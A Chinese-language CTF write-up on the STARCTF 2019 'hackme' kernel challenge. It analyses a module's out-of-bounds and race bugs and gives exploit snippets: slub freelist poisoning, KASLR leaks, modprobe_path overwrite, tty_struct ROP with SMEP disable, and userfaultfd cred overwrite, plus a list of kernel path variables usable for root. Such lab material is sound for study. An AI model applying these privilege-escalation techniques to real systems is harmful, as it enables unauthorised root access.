【linux内核漏洞利用】call_usermodehelper提权路径变量总结

本文通过分析STARCTF 2019 hackme 题目,来总结一下提权时可修改的变量。不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量,然后一定条件触发即可提权。

本文所有代码见https://github.com/bsauce/CTF/tree/master/STARCTF_2019_hackme

〇、知识点

(1)内核堆分配释放规则:基于slub分配器,其释放过的堆块类似于glibcfastbin,首先是一种后入先出结构,并且其存在FD指针指向下一块空闲的块。构造单链结构即可泄露堆地址,并构造任意地址写——类似fast bin attack。

(2)如何泄露kernel_base: 猜测module的第一个堆块之前是已经在使用的系统块,上面可能存在一些内核指针。

(3)如何泄露module加载地址,除了cat /proc/kallsyms | grep module_name

kernel中的mod_tree处存放着各个加载模块的地址;cat /proc/kallsyms | grep mod_tree即可。

(4)任意写到提权新姿势:劫持modprobe_path,然后通过执行一个错误的elf文件,触发。

一、漏洞分析

内核与用户交互接口是0x20的数据结构:

00000000 hackme          struc ; (sizeof=0x20, mappedto_3)
00000000 idx             dq ?
00000008 user_buf        dq ?
00000010 len             dq ?
00000018 offset          dq ?
00000020 hackme          ends

0x30001 free

signed __int64 __fastcall hackme_ioctl(__int64 fd, unsigned int cmd, __int64 hackme)
{
  cmd2 = cmd;
  v4 = hackme;
  copy_from_user(&hackme2, hackme, 32LL);
//释放后指针清零_release
  if ( cmd2 == 0x30001 )
  {
    index = 2LL * LODWORD(hackme2.idx);
    chunk = pool[index];
    addr = &pool[index];
    if ( chunk )
    {
      kfree(chunk, v4);
      *addr = 0LL;
      return 0LL;
    }
    return -1LL;
  }

0x30002 write

//从用户空间读取数据写入内核空间-write
if ( cmd2 == 0x30002 )
    {
      index2 = 2LL * LODWORD(hackme2.idx);
      chunk2 = pool[index2];
      addr2 = &pool[index2];
      if ( chunk2 && hackme2.offset + hackme2.len <= (unsigned __int64)addr2[1] )
      {
        copy_from_user(hackme2.offset + chunk2, hackme2.user_buf, hackme2.len);
        return 0LL;
      }
    }

0x30003 read

//从内核空间读取数据写入用户空间
if ( cmd2 == 0x30003 )
    {
      index3 = 2LL * LODWORD(hackme2.idx);
      chun3 = pool[index3];
      addr3 = &pool[index3];
      if ( chunk3 )
      {
        if ( hackme2.offset + hackme2.len <= (unsigned __int64)addr3[1] )
        {
          copy_to_user(hackme2.user_buf, hackme2.offset + chun3, hackme2.len);
          return 0LL;
        }
      }
    }

0x30000 alloc

//分配chunk并读取用户数据存入chunk
  if ( cmd2 != 0x30000 )
    return -1LL;
  len = hackme2.len;
  user_buf = hackme2.user_buf;
  addr4 = &pool[2 * LODWORD(hackme2.idx)];
  if ( *addr4 )
    return -1LL;
  chunk4 = _kmalloc(hackme2.len, 0x6000C0LL);
  if ( !chunk4 )
    return -1LL;
  *addr4 = chunk4;
  copy_from_user(chunk4, user_buf, len);
  addr4[1] = len;
  return 0LL;

竞争漏洞:全局数组pool存内核chunk地址+chunk大小,对这个数组的存取缺少锁操作且在free时没有对size清0,并且内核以多线程启动,明显存在竞争漏洞,如果释放内存后立刻竞争读写堆块,触发UAF。

越界读写问题:write和read时未检查访问的地址偏移offset,为负数时可向上越界写任意长度内存。

保护:开启KASLR、SMEP、SMAP。


二、漏洞利用——越界读写

(1)思路一修改cred(取巧)

修改cred:喷射大量cred在申请的内存前,通过向前越界读搜索到cred结构体,再将cred结构体的uid等值覆盖为0。但问题是,WCTF提到过,内核cred采用了cred_jar这个新的kmem_cache,与kmalloc使用的kmalloc-xx是隔离的,而且在尝试的过程中发现可以找到分配出来的cred结构体,但是在覆写过程中貌似在内存里存在保护的hole,当copy_from_user从cred覆写到我们kmalloc的块时,会出现kernel panic,提示在写一块non whitelist不可写的内存。

由于利用的时候堆块len都是0x100,必须覆写这么大的长度;其实可以控制驱动模块bss段上的size成员,实现局部写,直接修改结构体,其实可以利用userfaultfd机制,在写完一小段内容后转向用户页错误处理程序。

(2)地址泄露

堆地址泄露:

基于slub分配器,其释放过的堆块类似于glibcfastbin,首先是一种后入先出结构,并且其存在FD指针指向下一块空闲的块。

alloc(fd,0,mem,0x100);
alloc(fd,1,mem,0x100);
alloc(fd,2,mem,0x100);
alloc(fd,3,mem,0x100);
alloc(fd,4,mem,0x100);

delete(fd,1);
delete(fd,3);

read_from_kernel(fd,4,mem,0x100,-0x100);
heap_addr = *((size_t  *)mem);
printf("[+] heap addr : %16llx\n",heap_addr );
#释放1、3 后pool 内容
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100
0xffffffffc0002410: 0x0000000000000000  0x0000000000000100
0xffffffffc0002420: 0xffff88800017a700  0x0000000000000100
0xffffffffc0002430: 0x0000000000000000  0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100
#释放的2个堆块内容
pwndbg> x /6gx 0xffff88800017a600
0xffff88800017a600: 0xffff88800017aa00  0x4141414141414141
0xffff88800017a610: 0x4141414141414141  0x4141414141414141
0xffff88800017a620: 0x4141414141414141  0x4141414141414141
pwndbg> x /6gx 0xffff88800017a800
0xffff88800017a800: 0xffff88800017a600  0x4141414141414141
0xffff88800017a810: 0x4141414141414141  0x4141414141414141
0xffff88800017a820: 0x4141414141414141  0x4141414141414141

利用4号chunk向前越界读即可读出堆地址。

内核基址:

猜测:0号内存0xffff88800017a500之前是已经在用的系统块,那么一定存在一些内核的指针。

证实:查看首个模块创建的堆块之前的内存,看看哪一个落在内核空间即可。

read_from_kernel(fd,0,mem,0x200,-0x200);
kernel_addr = *((size_t  *)(mem+0x28)) ;
if ((kernel_addr & 0xfff) != 0xae0){
    printf("[-] maybe bad kernel leak : %16llx\n",kernel_addr);
    exit(-1);
}
    
kernel_addr -= 0x849ae0; //0x849ae0 - sysctl_table_root
printf("[+] kernel addr : %16llx\n",kernel_addr );
#首个块之前的数据 ,内核基址是 0xffffffffb6000000
(gdb) x /100xg 0xffffa0ff8017a500-0x200
0xffffa0ff8017a300: 0xffffa0ff8017a378  0x0000000100000000
0xffffa0ff8017a310: 0x0000000000000001  0x0000000000000000
0xffffa0ff8017a320: 0xffffa0ff8017a378  0xffffffffb6849ae0     # <--- sysctl_table_root
0xffffa0ff8017a330: 0xffffffffb6849ae0  0xffffa0ff80015100

模块地址:

类似fastbin attack,构造任意地址读写。内核中mod_tree处存放着各个模块的加载地址。cat /proc/kallsyms |grep mod_tree即可找到。

查找hackme加载地址在mod_tree中偏移:

/home/pwn # cat /proc/kallsyms | grep mod_tree
ffffffff81811000 d mod_tree
/home/pwn # cat /proc/kallsyms | grep hackme
ffffffffc0000000 t hackme_ioctl [hackme]
peda>  x /20gx 0xffffffff81811000
0xffffffff81811000: 0x0000000000000006  0xffffffffc0002320
0xffffffff81811010: 0xffffffffc0002338  0xffffffffc0000000     <----

"fastbin attack"构造任意读写:

#溢出修改fd后,第3个chunk内存(释放块)变为:
peda> x /10gx 0xffff88800017a800
0xffff88800017a800: 0xffffffff81811040  0x4141414141414141
#连续alloc两次即可拿到内核地址:
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100  #0
0xffffffffc0002410: 0x0000000000000000  0x0000000000000100  #1
0xffffffffc0002420: 0xffff88800017a700  0x0000000000000100  #2
0xffffffffc0002430: 0x0000000000000000  0x0000000000000100  #3
0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100  #4
0xffffffffc0002450: 0xffff88800017a800  0x0000000000000100  #5
0xffffffffc0002460: 0xffffffff81811040  0x0000000000000100  #6 <-------

泄露hackme加载地址的代码如下(尽量采用负数越界读的方法泄露地址,防止复制毁坏数据):

memset(mem,'A',0x100);
*((size_t *)mem) = (0x811000 + kernel_addr + 0x40); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,5,mem,0x100);
alloc(fd,6,mem,0x100);

read_from_kernel(fd,6,mem,0x40,-0x40);
mod_addr =  *((size_t  *)(mem+0x18)) ;
printf("[+] mod addr : %16llx\n",mod_addr );

(3)内存任意写

泄露内核基址后,可再次利用"fastbin attack"将.bss段的pool申请下来。

//使得新块申请到pool的0xc0偏移处。 第12个块
delete(fd,2);
delete(fd,5);

*((size_t *)mem) = (0x2400 + mod_addr + 0xc0); // mod_tree +0x40
write_to_kernel(fd,4,mem,0x100,-0x100);
alloc(fd,7,mem,0x100);
alloc(fd,8,mem,0x100); // pool
#第8个块处拿到pool地址
peda> x /20gx 0xffffffffc0002400
0xffffffffc0002400: 0xffff88800017a500  0x0000000000000100
0xffffffffc0002410: 0x0000000000000000  0x0000000000000100
0xffffffffc0002420: 0x0000000000000000  0x0000000000000100
0xffffffffc0002430: 0x0000000000000000  0x0000000000000100
0xffffffffc0002440: 0xffff88800017a900  0x0000000000000100
0xffffffffc0002450: 0x0000000000000000  0x0000000000000100
0xffffffffc0002460: 0xffffffff81811040  0x0000000000000100
0xffffffffc0002470: 0xffff88800017a800  0x0000000000000100
0xffffffffc0002480: 0xffffffffc00024c0  0x0000000000000100   # <----------
0xffffffffc0002490: 0x0000000000000000  0x0000000000000000

由此可向pool项中增加任意想写的地址和len,造成任意地址写。

(4)权限提升

方法一: 修改modprobe_path

可参考 StringIPC—从任意读写到权限提升三种方法

新方法:修改modprobe_path指向bash脚本,利用一个非正确格式的ELF文件触发。

*((size_t *)(mem+0x8)) = 0x100; 
*((size_t *)mem) = (0x83f960 + kernel_addr ); //ffffffff8183f960 D modprobe_path
write_to_kernel(fd,8,mem,0x10,0);

strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");

完整exp见exp-modpath.c。

方法二:劫持tty_struct中的ioctl。

泄露heap和kernel地址的步骤跟之前一样,注意tty_struct的size是0x2e0,申请堆块大小是0x400。

之前是劫持tty_struct -> tty_operations -> write(),由于不存在mov rsp,rax这样的gadget,所以需要劫持tty_struct -> tty_operations -> ioctl(),这样对gadget的要求更少,更通用。

static int ioctl(struct tty_struct *tty,
         unsigned int cmd, unsigned long arg)
#执行到ioctl()时的寄存器情况,发现rbx也指向tty_struct
gef➤  i r
rax            0xffffffff8425dbef   0xffffffff8425dbef
rbx            0xffff8cfc8e70e000   0xffff8cfc8e70e000
rcx            0xdeadbeef   0xdeadbeef
rdx            0xdeadbabe   0xdeadbabe
rsi            0xdeadbeef   0xdeadbeef
rdi            0xffff8cfc8e70e000   0xffff8cfc8e70e000
rbp            0xffff927840097e10   0xffff927840097e10
rsp            0xffff927840097d78   0xffff927840097d78
r8             0xdeadbabe   0xdeadbabe
r9             0xdead6ae1   0xdead6ae1
r10            0x0  0x0
r11            0x0  0x0
r12            0xdeadbeef   0xdeadbeef
r13            0xdeadbabe   0xdeadbabe
r14            0xffff8cfc8e72b400   0xffff8cfc8e72b400
r15            0xffff8cfc8e70e800   0xffff8cfc8e70e800
rip            0xffffffff8425dbef   0xffffffff8425dbef
eflags         0x282    [ SF IF ]
cs             0x10 0x10
ss             0x18 0x18
ds             0x0  0x0
es             0x0  0x0
fs             0x0  0x0
gs             0x0  0x0

栈迁移——控制的是call target,所以得栈迁移。

首先,如果有mov rsp,[rbx+xx]这样的gadget就完美了,然而没有。

那就找mov reg,[rbx+xx]mov rsp,reg这两个gadget。

gadget 2:

0xffffffff81200ef1: mov rsp, rax; lea rbp, qword ptr [rsp + 1]; push r12; ret;
0xffffffff81033d4c: mov rsp, rbp; pop rbp; ret;

: mov rax, qword ptr [rbx +

gadget 1:

0xffffffff8105dbef: mov rax, qword ptr [rbx + 0x38]; lea rdi, qword ptr [rbx + 0x20]; mov rdx, qword ptr [rax + 0xc8]; test rdx, rdx; je 0x25d805; call rdx; #最合适的gadget,tty_struct+0x18指向伪造的tty_operationstty_operations+13*8处放gadget 1,rop_chain+0xc8放gadget 2,tty_struct+0x38处指向rop chain即可。

0xffffffff810c9239: mov rax, qword ptr [rbx + 0x60]; mov rdi, rbx; call qword ptr [rax + 0x38]; #会影响新的stack上的rop

所以先把rop chain指针给rax,再给rsp。

问题:mov rsp, rax;后面有个push r12; ret;,又得控制r12,很麻烦。

解决:查看0xffffffff81200ef1以前的代码可以发现能控制r12。这段代码分析一下,pop r12 & push r12成对,所以正常放置

# gadget 2:
.text:0000000000200F66                 mov     rsp, rax
.text:0000000000200F69                 jmp     loc_200EE7

.text:0000000000200EE7                 pop     r12
.text:0000000000200EE9                 mov     rdi, rsp
.text:0000000000200EEC                 call    sub_16190
.text:0000000000200EF1                 mov     rsp, rax
.text:0000000000200EF4                 lea     rbp, [rsp+70h+var_6F]
.text:0000000000200EF9                 push    r12
.text:0000000000200EFB                 retn

总结:tty_struct+0x18指向伪造的tty_operationstty_operations+13*8处放gadget 1,rop_chain+0xc8放gadget 2,tty_struct+0x38处指向rop chain即可。

// step 3 :开始伪造 tty_struct 和 tty_operations结构。 
//  tty_struct
    *((size_t  *)(mem+0x18)) = heap_addr-0x400+0x20;         //指向 tty_operations
    *((size_t  *)(mem+0x38)) = heap_addr-0x400+0x220;        //指向 rop chain

// tty_operations结构
    for(int j;j<0x10;j++){
        *((size_t  *)(mem+0x20+8*j)) = kernel_addr + 0x5dbef;    // gadget 1
// rop chain
  *((size_t  *)(mem+0x220)) = kernel_addr + 0x01b5a1; //pop rax ; ret
    *((size_t  *)(mem+0x220+8)) = 0x6f0;
    *((size_t  *)(mem+0x220+16)) = kernel_addr + 0x0252b; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
    *((size_t  *)(mem+0x220+24)) = 0xdeadbeef;
    *((size_t  *)(mem+0x220+32)) = &sudo;
    *((size_t  *)(mem+0x220+0xc8)) = kernel_addr +0x200f66;    // gadget  2

完整exp见exp_ptmx_ioctl.c

方法三:劫持tty_struct中的write。

劫持write指针更简便,因为执行write()时rax恰好指向tty_operations,利用gadget 2可直接进行栈迁移。

exp见exp_ptmx_write.c

方法四:结合userfaultfd机制,修改cred

以上提到因为cred结构体距离申请出来的堆块距离约为0x160000(必须写size这么长)。它到pool数组堆块之间存在不可写的地址,因此写回时会导致内核崩溃,从而失败。

此时就可以用上前面描述过的userfaultfd机制,在写回时我们先将0x10000长度的数据写回,并利用userfaultfd机制监视0x10000长度以后的地址。由于该地址一开始没有数据,在写回时会发生缺页。缺页时进入我们自定义的缺页处理,此时可以暂停该线程不拷贝数据,从而避免内核崩溃。而之前的0x10000长度的数据已经将部分进程的cred修改成为了rootcred,从而实现提权。

具体:先创建200个进程,使得cred填满堆空间;再利用越界读取前0x160000字节,搜索cred结构(前8个4字节都等于1000);修改cred前8个4字节为0,只拷贝之前0x10000字节内容,从偏移0x10000处设置页错误处理;最后利用越界写,将0x160000内容写回。

完整exp见exp_cred_userfaultfd.c


三、总结提权时可劫持的变量

不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。

(1) modprobe_path

// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait) 
    argv[0] = modprobe_path;
    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

__request_module - try to load a kernel module

触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

(2)poweroff_cmd

// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)    
    ret = run_cmd(poweroff_cmd);

触发:执行__orderly_poweroff()即可。

(3)uevent_helper

// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{  ......
    env->argv[0] = uevent_helper; 
  ...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
               char *envp_ext[])
{......
    retval = init_uevent_argv(env, subsystem);
    info = call_usermodehelper_setup(env->argv[0], env->argv,
                         env->envp, GFP_KERNEL,
                         NULL, cleanup_uevent_env, env);
......}

(4)ocfs2_hb_ctl_path

// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
    argv[0] = ocfs2_hb_ctl_path;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

(5)nfs_cache_getent_prog

// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
                "/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
    char *argv[] = {
        nfs_cache_getent_prog,
        cd->name,
        entry_name,
        NULL
    };
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

(6)cltrack_prog

// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
    argv[0] = (char *)cltrack_prog;
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

四、漏洞利用——竞争

思路:没有对全局数据pool上锁,且delete的时候没有将size置0,导致竞争的情况出现。在单线程的情况下考虑是没有问题的,但是如果存在两个线程,如线程A刚刚delete一个较大的堆块pool[i],且pool[i]的size比较大;同时线程B创建了该索引i的另一个堆块,且size还没被复写;此时线程A就再对该堆块进行读写时就会使用到一个错误的size,形成漏洞。这也是startvm.sh中存在-smp cores=4,threads=2的原因。

方法:利用double fetch,结合userfaultfd机制,覆盖ptmx结构体提权。

具体

// 0x3000——alloc: 分配chunk并读取用户数据存入chunk
  if ( cmd2 != 0x30000 )
    return -1LL;
  len = hackme2.len;
  user_buf = hackme2.user_buf;
  addr4 = &pool[2 * LODWORD(hackme2.idx)];
  if ( *addr4 )
    return -1LL;
  chunk4 = _kmalloc(hackme2.len, 0x6000C0LL);
  if ( !chunk4 )
    return -1LL;
  *addr4 = chunk4;                       // Step 1
  copy_from_user(chunk4, user_buf, len); // Step 2
  addr4[1] = len;                        // Step 3
  return 0LL;

线程A先释放note0,但是size还是0x2000;线程B alloc note0,Step1——将申请的堆块指针存到pool,Step2——拷贝时触发页错误处理,Step3——不会执行;线程A edit notes0。

再利用越界读去搜索ptmx结构体,在找到结构体后读取结构体中的struct tty_operations *ops字段,该字段的符号是ptm_unix98_ops,通过它的值可以得到内核基址。接下来的步骤和“方法二:劫持tty_struct中的ioctl”一样。

thread 1 thread 2
delete note 0 (size还是0x2000) idle
idle alloc new note0
idle Step 1: note0 指针赋值
idle Step 2: copy_from_user进入错误处理,休眠
edit of note 0 (size 0x2000) 溢出 idle

问题

1.如何找到tty_struct结构?

2.如何泄露内核地址?

3.如何泄露堆地址?

可以找到tty_struct地址后打印出tty_struct所有内容,也可以在有符号的内核中下断点,下到ptmx_open。

struct tty_struct {
    int magic;                        // <---标识是0x0000000100005401,根据
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops; // 3 <---内核地址
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;   // 7 <---堆地址
    struct mutex legacy_mutex;
/*
打印出来的tty_struct结构,可以看到tty_operations在内核空间中,好多struct都在内核空间中
[+] find ptmx struct at offset: 0x400
======================================
data :
0        100005401                0
1 ffff8dfb0ddc3780 ffffffff87025d80     <-------- 内核地址
2                0                0
3                0 ffff8dfb0dddd438     <-------- 堆地址
4 ffff8dfb0dddd438 ffff8dfb0dddd448
5 ffff8dfb0dddd448 ffff8dfb0013d5f0
6                0 ffff8dfb0dddd468
7 ffff8dfb0dddd468                0
8 ffff8dfb0dddd480 ffff8dfb0dddd480
9                0 ffff8dfb0dddd498
10 ffff8dfb0dddd498                0
11 ffff8dfb0dddd4b0 ffff8dfb0dddd4b0
12                0 ffff8dfb0dddd4c8
13 ffff8dfb0dddd4c8                0
14               bf  10004157f1c0300
15 170f12001a131100     960000000016
======================================
*/

注意tty_operationsrop chain还是要分开,tty_operations最好前16个指针都放gadget 1,不然总是崩溃,有可能调用ioctl时还调用了其中一个函数指针。

完整exp见exp_race_userfaultfd.c

参考

http://p4nda.top/2019/05/01/starctf-2019-hackme/

http://powerofcommunity.net/poc2016/x82.pdf